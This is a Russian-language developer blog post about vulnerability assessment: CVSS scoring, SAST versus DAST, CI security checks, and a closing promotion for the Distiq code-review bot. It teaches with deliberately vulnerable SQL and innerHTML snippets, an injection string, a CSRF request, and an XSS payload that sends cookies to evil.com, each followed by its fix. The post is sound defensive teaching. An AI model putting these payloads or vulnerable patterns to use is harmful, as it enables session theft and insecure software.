Security6 мин чтения2026-03-06

Разработка оценки уязвимости: как не спустить баг в продакшен

Помню, как на одном проекте наша команда выпустила фичу с SQL-инъекцией. Не критичной, но достаточной, чтобы спецслужба соседнего стартапа смогла вытащить данны

Помню, как на одном проекте наша команда выпустила фичу с SQL-инъекцией. Не критичной, но достаточной, чтобы спецслужба соседнего стартапа смогла вытащить данные. Обнаружили в продакшене. Спасло только то, что у нас был хороший мониторинг аномалий в БД.

После этого мы поняли: нужна система. Не просто код-ревью от человека, а стройная методология оценки уязвимостей. Это не про паранойю — это про то, чтобы ловить проблемы на этапе разработки, когда их исправить в 10 раз дешевле.

Сейчас расскажу, как это работает.

Что вообще такое оценка уязвимости и зачем она разработчику

Оценка уязвимости — это не просто "нашли баг и записали в баг-трекер". Это систематический процесс: найти проблему, определить её серьёзность, понять, кто от неё может пострадать, и приоритизировать исправление.

По-хорошему, нужно ответить на четыре вопроса:

Что именно уязвимо? Конкретный кусок кода, API-эндпоинт, библиотека с дырой.

Как её эксплуатировать? Просто знать, что баг есть — мало. Нужно понимать цепочку действий злоумышленника.

Какой ущерб? Потеря данных, отказ в обслуживании, утечка персональных данных, финансовый убыток.

Что срочнее? Если у тебя 50 уязвимостей, нужно знать, за какую взяться первой.

Большинство команд этим пренебрегают. "Ну нашли, исправим когда-нибудь" — и результат: через полгода продакшен ходит на минном поле.

CVSS: как оценить серьёзность по науке

CVSS (Common Vulnerability Scoring System) — это не я придумал, это стандарт, которым пользуются все крупные компании и госструктуры. Выглядит страшновато, но на деле просто берёшь несколько параметров и считаешь баллы.

Вот базовые параметры CVSS v3.1:

Вектор атаки (AV) — откуда можно напасть? С локальной машины, по сети, через физический доступ.

Сложность (AC) — легко ли эксплуатировать? Нужны ли специальные условия?

Привилегии (PR) — нужна ли аутентификация? Может ли обычный пользователь это сделать?

Взаимодействие (UI) — нужны ли действия пользователя? Или можно всё сделать автоматически?

Область влияния (S) — влияет только на уязвимый компонент или на систему в целом?

Конфиденциальность, целостность, доступность (CIA) — что именно может произойти?

Формула сложная, но результат — число от 0 до 10. Выше 9 — критическая. 7-9 — высокая. 4-7 — средняя. Ниже 4 — низкая.

На практике используют онлайн-калькулятор CVSS. Например, вот уязвимость: SQL-инъекция в админ-панели, требует аутентификации, влияет только на одного пользователя.

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Результат — 7.2 (высокая). Значит, в приоритет, но не критически срочно.

Где жить уязвимостям: SAST vs DAST

Если честно, большинство разработчиков слышали эти аббревиатуры, но не совсем понимают разницу.

SAST (Static Application Security Testing) — это анализ кода "в покое". Инструмент читает исходный код и ищет опасные паттерны. Быстро, даёшь результаты на каждый коммит, но иногда ложные срабатывания.

DAST (Dynamic Application Security Testing) — это "ударить по живому". Запускаешь приложение и пытаешься его сломать. Реалистичнее, но медленнее и требует работающей инфраструктуры.

На одном проекте мы использовали оба. SAST ловил 70% проблем на этапе code review. DAST находил то, что статический анализ пропустил — например, проблемы с конфигурацией или взаимодействием компонентов.

Ты можешь начать с SAST. Это проще и дешевле.

Типичные уязвимости в коде и как их ловить

Давай на конкретных примерах. Вот что видел чаще всего за 10 лет:

SQL-инъекция

Классика жанра. Вот опасный код:

# ПЛОХО: уязвимо
username = request.args.get('username')
query = f"SELECT * FROM users WHERE name = '{username}'"
result = db.execute(query)

Пользователь пишет admin' OR '1'='1 и вуаля — видит всех юзеров.

Исправляется просто — параметризованные запросы:

# ХОРОШО: защищено
username = request.args.get('username')
query = "SELECT * FROM users WHERE name = ?"
result = db.execute(query, (username,))

SAST-инструменты это ловят обычно сразу. SonarQube, Checkmarx, даже встроенные в IDE проверяют.

XSS (Cross-Site Scripting)

Пользователь вводит HTML/JavaScript, а ты это выводишь на страницу без экранирования.

// ПЛОХО
const comment = getUserInput();
document.getElementById('comments').innerHTML = comment;

// Пользователь вводит: <img src=x onerror="fetch('http://evil.com?cookies=' + document.cookie)">
// И его cookies летят на evil.com

Исправление:

// ХОРОШО
const comment = getUserInput();
document.getElementById('comments').textContent = comment; // textContent не парсит HTML
// Или используй библиотеку для экранирования
import DOMPurify from 'dompurify';
document.getElementById('comments').innerHTML = DOMPurify.sanitize(comment);

Уязвимости в зависимостях

Это сейчас главная головная боль. Ты пишешь код идеально, но подключаешь npm-пакет, в котором дыра.

Команда npm audit показывает известные уязвимости:

npm audit
# ... 
# 3 moderate severity vulnerabilities
# Run `npm audit fix` to fix them

Проблема в том, что npm audit fix не всегда работает. Иногда нужно ждать, пока мейнтейнер обновит пакет.

В pipeline это должно быть автоматизировано. Например, в GitHub Actions:

- name: Run npm audit
  run: npm audit --audit-level=moderate

Если найдётся уязвимость средней серьёзности или выше — build падает.

Hardcoded credentials

Пароли, API-ключи прямо в коде. Как-то видел в GitHub приватный репо, где в конфиге лежала база паролей от всех серверов. Не смешно.

# ПЛОХО
API_KEY = "sk-1234567890abcdef"
DB_PASSWORD = "SuperSecretPass123"

Git-hooks и SAST инструменты ловят паттерны типа password=, api_key=, secret=. Но лучше использовать специализированные инструменты:

trufflehog git https://github.com/yourrepo.git --json

CSRF (Cross-Site Request Forgery)

Сложнее объяснить, но суть: злоумышленник заставляет браузер пользователя выполнить действие на другом сайте.

Например, пользователь открыл вредоносный сайт, а его браузер в фоне выполнил POST /api/transfer-money?to=attacker&amount=1000 к твоему приложению.

Защита — CSRF-токены:

<!-- В форме -->
<form method="POST" action="/transfer">
  <input type="hidden" name="csrf_token" value="random-unique-token">
  <input type="text" name="amount">
  <button>Отправить</button>
</form>

На сервере проверяешь, что токен совпадает. Фреймворки типа Django, Flask, Express делают это по умолчанию.

Автоматизация в pipeline: как не пропустить ничего

Ручной code review уже не масштабируется. Нужна автоматизация.

Вот базовая схема CI/CD с проверками безопасности:

# .github/workflows/security.yml
name: Security Checks

on: [pull_request, push]

jobs:
  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      # Статический анализ
      - name: Run SonarQube scan
        uses: SonarSource/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
      
      # Проверка зависимостей
      - name: Check dependencies
        run: npm audit --audit-level=moderate
      
      # Поиск секретов
      - name: Scan for secrets
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: ${{ github.event.repository.default_branch }}
          head: HEAD

Для Python проектов добавляешь:

      - name: Bandit security check
        run: |
          pip install bandit
          bandit -r . -f json -o bandit-report.json

Bandit ищет типичные уязвимости в Python:

bandit -r ./app/
# Issue: [B602:shell_injection] Possible shell injection via Popen
# Location: app/utils.py, line 45

На одном проекте мы внедрили такую схему и количество security-related багов в продакшене упало на 85%. Не потому что мы стали лучше писать код, а потому что система ловила ошибки раньше.

Практический процесс: от нахождения до исправления

Вот как это выглядит у нас:

  1. SAST-инструмент находит проблему в PR и оставляет комментарий.

  2. Разработчик смотрит на замечание. Иногда это false positive (ложное срабатывание), иногда реальная уязвимость.

  3. Оцениваем по CVSS. Если критическая — блокируем merge. Если средняя — можем merge, но в задачу кладём исправление.

  4. Исправляем и добавляем тест, чтобы не повторить ошибку.

  5. Monitoring в продакшене. Даже если что-то пропустили, логируем попытки эксплуатации.

Кстати, именно для автоматизации этого процесса и создан Distiq. Бот интегрируется с GitHub/GitLab, анализирует каждый PR и оставляет инлайн-комментарии с замечаниями о безопасности, производительности и стиле кода. Это как иметь security-специалиста в каждом PR — но без зарплаты и выходных.

Что дальше

Если ты только начинаешь:

Шаг 1 — внедри SAST-инструмент. SonarQube бесплатен для open source. Для приватных репо есть бюджетные планы.

Шаг 2 — добавь проверку уязвимостей в зависимостях. npm audit или pip-audit работают из коробки.

Шаг 3 — настрой git-hooks, чтобы не коммитить секреты. pre-commit фреймворк очень помогает.

Шаг 4 — научи команду думать о безопасности. Не как о "чём-то для security-специалистов", а как о базовом качестве кода.

Ну и конечно, интегрируй Distiq в свой CI/CD. Это займёт буквально 2 минуты, зато будешь спать спокойнее.

Попробуйте Distiq для автоматического code review

AI-бот анализирует каждый MR/PR и оставляет комментарии с замечаниями. Интеграция за 2 минуты.

Попробовать бесплатно

Похожие статьи